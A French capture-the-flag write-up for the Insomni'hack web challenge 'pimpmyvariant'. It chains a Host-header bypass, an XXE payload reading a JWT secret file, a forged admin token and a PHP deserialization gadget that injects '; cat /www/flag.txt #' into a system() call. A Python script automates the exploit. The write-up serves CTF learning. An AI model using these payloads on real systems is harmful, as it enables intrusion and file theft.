date
solved in time of CTF
web category

Nécessaires

BurpSuite, jwt.io, Python, PHP

Resources

https://pimpmyvariant.insomnihack.ch

Description

Seen as it went, why not guess the next variant name : pimpmyvariant.insomnihack.ch

Flag

INS{P!mpmYV4rianThat’s1flag}

Solution détaillée

Le challenge nous donne une Url (https://pimpmyvariant.insomnihack.ch): Alt text

On voit une liste de variante mais rien de bien intéressant.

Il y a un /robots.txt:

Alt text

Nous avons donc 7 URL’s:

/flag.txt ne nous renvoie pas le flag mais un bon Try harder.

/todo.txt nous renvoie test back.

mais /new et /readme nous renvoie ceci:

Alt text Alt text

On ne peut pas accéder à la page car notre hostname n’est pas le bon, on ouvre donc BurpSuite pour changer notre requête et envoyer 127.0.0.1:

Alt text

Le Readme nous donne la position du Jwt.secret : /www/jwt.secret.txt ce qui revient à dire https://pimpmyvariant.insomnihack.ch/jwt.secret.txt mais si on accede à la page elle nous renvoie Try harder.

On va voir le /log:

Alt text

Ici il nous faut un accès admin.

On va voir le /new:

Alt text

Sur celui-ci on peut envoyer une requête POST sous un format XML qui ajoute notre entre dans la variante liste de la première page:

Alt text

<?xml version='1.0' encoding='utf-8'?>
	<root>
		<name>
			asd
		</name>
	</root>

On reçoit aussi un Token jwt:

Alt text

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiYXNkIl0sInNldHRpbmdzIjoiYToxOntpOjA7Tzo0OlwiVXNlclwiOjM6e3M6NDpcIm5hbWVcIjtzOjQ6XCJBbm9uXCI7czo3OlwiaXNBZG1pblwiO2I6MDtzOjI6XCJpZFwiO3M6NDA6XCJkOGYzNTZhNTc2NGNlYTZkNDNiNzljZmJmNzdiMmNlMDc5YmZkZWM3XCI7fX0iLCJleHAiOjE2NDM2NTM3NzF9.4-9LLIK4wMi-Dherp7vATE8ICpjnMiP2SLKQfX2J2ls

Alt text

La solution est simple, prenons les informations qu’on a:

  • Une requête XML.
  • Un token Jwt.
  • Un file jwt.secret.txt
  • La page /log qui demande un accès admin.

On va faire une XXE dans la requête XML pour récupérer le contenu de /www/jwt.secret.txt grâce auquel on va pouvoir changer notre token Jwt pour accéder à la page /log.

Le Payload XXE:

<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///www/jwt.secret.txt'>]>
	<root>
    	<name>&xxe;</name>
	</root>

Il nous revoit un nouveau token Jwt avec à la clef le jwt.secret.txt:

Alt text

jwt.secret.txt : 54b163783c46881f1fe7ee05f90334aa

Le JWT

Avec le jwt.secret on va pouvoir modifier notre token pour nous donner les droits admin, direction jwt.io:

Alt text

Dans les settings on met isAdmin a 1 –> s:7:\"isAdmin\";b:1 et on ajoute le jwt.secret pour avoir la signature.

  "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"d8f356a5764cea6d43b79cfbf77b2ce079bfdec7\";}}",
  "exp": 1643653771
}

Notre token admin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiYXNkIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjoxO3M6MjpcImlkXCI7czo0MDpcImQ4ZjM1NmE1NzY0Y2VhNmQ0M2I3OWNmYmY3N2IyY2UwNzliZmRlYzdcIjt9fSIsImV4cCI6MTY0MzY1Mzc3MX0.1eZ5_KqvrHeS5NQUGFW9a3XL10S7AUvqVkwy2CYlYSs

Le /log et la PHP POP chain

Alt text

Voici ce que nous renvoie la page :

[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
  thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
  thrown in /www/UpdateLogViewer.inc on line 26

La première chose qu’on voit et /www/UpdateLogViewer.inc . On peut donc le télécharger dans https://pimpmyvariant.insomnihack.ch/UpdateLogViewer.inc et voici son contenu :

<?php

class UpdateLogViewer
{
	public string $packgeName;
	public string $logCmdReader;
	private static ?UpdateLogViewer $singleton = null;

	private function __construct(string $packgeName)
	{
		$this->packgeName = $packgeName;
		$this->logCmdReader = 'cat';
	}

	public static function instance() : UpdateLogViewer
	{
		if( !isset(self::$singleton) || self::$singleton === null ){
			$c = __CLASS__;
			self::$singleton = new $c("$c");
		}
		return self::$singleton;
	}

	public static function read():string
	{
		return system(self::logFile());
	}

	public static function logFile():string
	{
		return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
	}

    public function __wakeup()// serialize
    {
    	self::$singleton = $this;
    }
};

Nous n’avons pas la balise ?> donc nous n’avons pas le code complet.

le commentaire : serialize nous fais comprendre qu’il y a une deserialization dans le code en dehors de la class UpdateLogViewer.

Enfin, on comprend que :

  • les fonctions présentes vont afficher, grâce à ’logCmdReader’ (=‘cat’) , un fichier du nom de /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log'.

  • Dans le token JWT , nous avons un Object sérialisé settings

Grâce à ces 2 informations, nous en déduisons que c’est une attaque PHP PoPChain

L’idée de base est d’envoyer un Object sérialisé pour ainsi réécrire les valeurs des strings lors de la désérialisation. On peut donc contrôler packgeName et ainsi avoir une entré dans un Shell .

(Plus d’information ici)

Pour la suite du challenge, nous avons écrit un script python qui se connecte sur un serveur local , récupère notre payload et l’envoie via un JWT valide avec les bypass’s présentés précédemment :

On recrée un fichier php avec la class UpdateLogViewer et User que l’on guess grâce au token valide généré par le site :

class User{
    public string $name = "Anon";
    public bool $isAdmin = true;
    public string $id = "1aba2d2bf77b91328d97618d902bd81a9dd9b032";
}

Si on reprend le token JWT valid , on obtient un autre sérialisé par le serveur :

a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"d8f356a5764cea6d43b79cfbf77b2ce079bfdec7\";}}

On sait que les types sont de la forme :

  • a - array
  • b - boolean
  • d - double
  • i - integer
  • o - common object
  • r - reference
  • s - string
  • C - custom object
  • O - class
  • N - null
  • R - pointer reference
  • U - unicode string

On sait donc que nous devons envoyer un array ( a:1:{ ) avec User et UpdateLogViewer

Enfin, on crée notre object UpdateLogViewer avec la valeur de packgeName que l’on veut et on affiche le payload , ainsi la fonction __construct de UpdateLogViewer va être réécrite dont la valeur packgeName :

<?php

class UpdateLogViewer
{
    public string $packgeName;
    private static ?UpdateLogViewer $singleton = null;

    public function __construct(string $packgeName)
    {
        $this->packgeName = $packgeName;
        $this->logCmdReader = 'cat';
    }

    public static function instance() : UpdateLogViewer
    {
        if( !isset(self::$singleton) || self::$singleton === null ){
            $c = __CLASS__;
            self::$singleton = new $c("$c");
        }
        return self::$singleton;
    }

    public static function read():string
    {
        return system(self::logFile());
    }

    public static function logFile():string
    {
        return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
    }

    public function __wakeup()
    {
        self::$singleton = $this;
    }
}

class User{
    public string $name = "Anon";
    public bool $isAdmin = true;
    public string $id = "1aba2d2bf77b91328d97618d902bd81a9dd9b032";
}


$ul = new UpdateLogViewer("; cat /www/flag.txt #");
$u = new User();

$superpayload= array(
    $u,
    $ul
);

echo serialize($superpayload);

?>

On obtient ce payload :

a:2:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"1aba2d2bf77b91328d97618d902bd81a9dd9b032";}i:1;O:15:"UpdateLogViewer":2:{s:10:"packgeName";s:21:"; cat /www/flag.txt #";s:12:"logCmdReader";s:3:"cat";}}

enfin , nous avons écris un script python pour tous automatiser :

import requests
import jwt

url = 'https://pimpmyvariant.insomnihack.ch/'
key = '54b163783c46881f1fe7ee05f90334aa'

def gettoken(post):

	payload ={
	  "variants": [
	    "Alpha",
	    "Beta",
	    "Gamma",
	    "Delta",
	    "Omicron",
	    "Lambda",
	    "Epsilon",
	    "Zeta",
	    "Eta",
	    "Theta",
	    "Iota",
	    "a"
	  ],
	 "settings": post,

	  "exp": 1643482579
	}

	encoded_jwt = jwt.encode(payload, key, algorithm='HS256').decode()
	return encoded_jwt


def posttoken(token):
	header = {
		'Host':'127.0.0.1',
		'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
		'Accept-Encoding':'gzip, deflate',
		'Accept-Language':'fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7',		
	}
	cookie = {
		'jwt':token
	}

	resp = requests.get(url+'log',headers=header,cookies=cookie)
	return resp.text


post = requests.get('http://192.168.1.33').text
print(f'Payload : {post} \n\n')

token = gettoken(post)
print(f'Token : {token}'+'\n\n')
resp = posttoken(token)

if('</textarea>' in resp):
	print(resp.split('<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">')[1])
else:
	print(resp)

Une fois tous exécuté , on obtiens :

Alt text

Avec le flag : INS{P!mpmYV4rianThat’s1flag}